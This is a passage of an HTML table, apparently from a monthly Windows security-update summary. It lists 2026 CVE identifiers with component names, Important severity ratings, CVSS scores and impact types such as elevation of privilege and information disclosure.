  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32073">CVE-2026-32073</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26168">CVE-2026-26168</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26173">CVE-2026-26173</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26177">CVE-2026-26177</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26182">CVE-2026-26182</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27922">CVE-2026-27922</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33099">CVE-2026-33099</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33100">CVE-2026-33100</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32088">CVE-2026-32088</a></td>
  <td>Windows Biometric Service Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27913">CVE-2026-27913</a></td>
  <td>Windows BitLocker Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>7.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26175">CVE-2026-26175</a></td>
  <td>Windows Boot Manager Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.6</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32162">CVE-2026-32162</a></td>
  <td>Windows COM Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20806">CVE-2026-20806</a></td>
  <td>Windows COM Server Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26176">CVE-2026-26176</a></td>
  <td>Windows Client Side Caching driver (csc.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27926">CVE-2026-27926</a></td>
  <td>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32070">CVE-2026-32070</a></td>
  <td>Windows Common Log File System Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33098">CVE-2026-33098</a></td>
  <td>Windows Container Isolation FS Filter Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26153">CVE-2026-26153</a></td>
  <td>Windows Encrypted File System (EFS) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32087">CVE-2026-32087</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32093">CVE-2026-32093</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32086">CVE-2026-32086</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32150">CVE-2026-32150</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27931">CVE-2026-27931</a></td>
  <td>Windows GDI Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27930">CVE-2026-27930</a></td>
  <td>Windows GDI Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32221">CVE-2026-32221</a></td>
  <td>Windows Graphics Component Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27906">CVE-2026-27906</a></td>
  <td>Windows Hello Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.4</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27928">CVE-2026-27928</a></td>
  <td>Windows Hello Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>8.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26156">CVE-2026-26156</a></td>
  <td>Windows Hyper-V Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32149">CVE-2026-32149</a></td>
  <td>Windows Hyper-V Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.3</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27910">CVE-2026-27910</a></td>
  <td>Windows Installer Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27912">CVE-2026-27912</a></td>
  <td>Windows Kerberos Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26179">CVE-2026-26179</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26180">CVE-2026-26180</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32195">CVE-2026-32195</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26163">CVE-2026-26163</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32215">CVE-2026-32215</a></td>
  <td>Windows Kernel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32217">CVE-2026-32217</a></td>
  <td>Windows Kernel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32218">CVE-2026-32218</a></td>
  <td>Windows Kernel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26169">CVE-2026-26169</a></td>
  <td>Windows Kernel Memory Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27929">CVE-2026-27929</a></td>
  <td>Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32071">CVE-2026-32071</a></td>
  <td>Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20930">CVE-2026-20930</a></td>
  <td>Windows Management Services Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26162">CVE-2026-26162</a></td>
  <td>Windows OLE Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33101">CVE-2026-33101</a></td>
  <td>Windows Print Spooler Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32084">CVE-2026-32084</a></td>
  <td>Windows Print Spooler Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27927">CVE-2026-27927</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26184">CVE-2026-26184</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32069">CVE-2026-32069</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32074">CVE-2026-32074</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32078">CVE-2026-32078</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26167">CVE-2026-26167</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32158">CVE-2026-32158</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32159">CVE-2026-32159</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32160">CVE-2026-32160</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26172">CVE-2026-26172</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20928">CVE-2026-20928</a></td>
  <td>Windows Recovery Environment Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.6</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32216">CVE-2026-32216</a></td>
  <td>Windows Redirected Drive Buffering System Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27909">CVE-2026-27909</a></td>
  <td>Windows Search Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26161">CVE-2026-26161</a></td>
  <td>Windows Sensor Data Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26174">CVE-2026-26174</a></td>
  <td>Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32224">CVE-2026-32224</a></td>
  <td>Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26154">CVE-2026-26154</a></td>
  <td>Windows Server Update Service (WSUS) Tampering Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>Tampering</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26165">CVE-2026-26165</a></td>
  <td>Windows Shell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26166">CVE-2026-26166</a></td>
  <td>Windows Shell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27918">CVE-2026-27918</a></td>
  <td>Windows Shell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32151">CVE-2026-32151</a></td>
  <td>Windows Shell Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32225">CVE-2026-32225</a></td>
  <td>Windows Shell Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32202">CVE-2026-32202</a></td>
  <td>Windows Shell Spoofing Vulnerability</td>
  <td>Important</td>
  <td>4.3</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32082">CVE-2026-32082</a></td>
  <td>Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32083">CVE-2026-32083</a></td>
  <td>Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32068">CVE-2026-32068</a></td>
  <td>Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32183">CVE-2026-32183</a></td>
  <td>Windows Snipping Tool Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32089">CVE-2026-32089</a></td>
  <td>Windows Speech Brokered Api Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32090">CVE-2026-32090</a></td>
  <td>Windows Speech Brokered Api Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32153">CVE-2026-32153</a></td>
  <td>Windows Speech Runtime Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27907">CVE-2026-27907</a></td>
  <td>Windows Storage Spaces Controller Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32076">CVE-2026-32076</a></td>
  <td>Windows Storage Spaces Controller Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27908">CVE-2026-27908</a></td>
  <td>Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27921">CVE-2026-27921</a></td>
  <td>Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27915">CVE-2026-27915</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27919">CVE-2026-27919</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32075">CVE-2026-32075</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27916">CVE-2026-27916</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27920">CVE-2026-27920</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32077">CVE-2026-32077</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27925">CVE-2026-27925</a></td>
  <td>Windows UPnP Device Host Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32156">CVE-2026-32156</a></td>
  <td>Windows UPnP Device Host Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32223">CVE-2026-32223</a></td>
  <td>Windows USB Printing Stack (usbprint.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>6.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32165">CVE-2026-32165</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27911">CVE-2026-27911</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32163">CVE-2026-32163</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32164">CVE-2026-32164</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23670">CVE-2026-23670</a></td>
  <td>Windows Virtualization-Based Security (VBS) Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>5.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27917">CVE-2026-27917</a></td>
  <td>Windows WFP NDIS Lightweight Filter Driver (wfplwfs.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32080">CVE-2026-32080</a></td>
  <td>Windows WalletService Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32222">CVE-2026-32222</a></td>
  <td>Windows Win32k Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
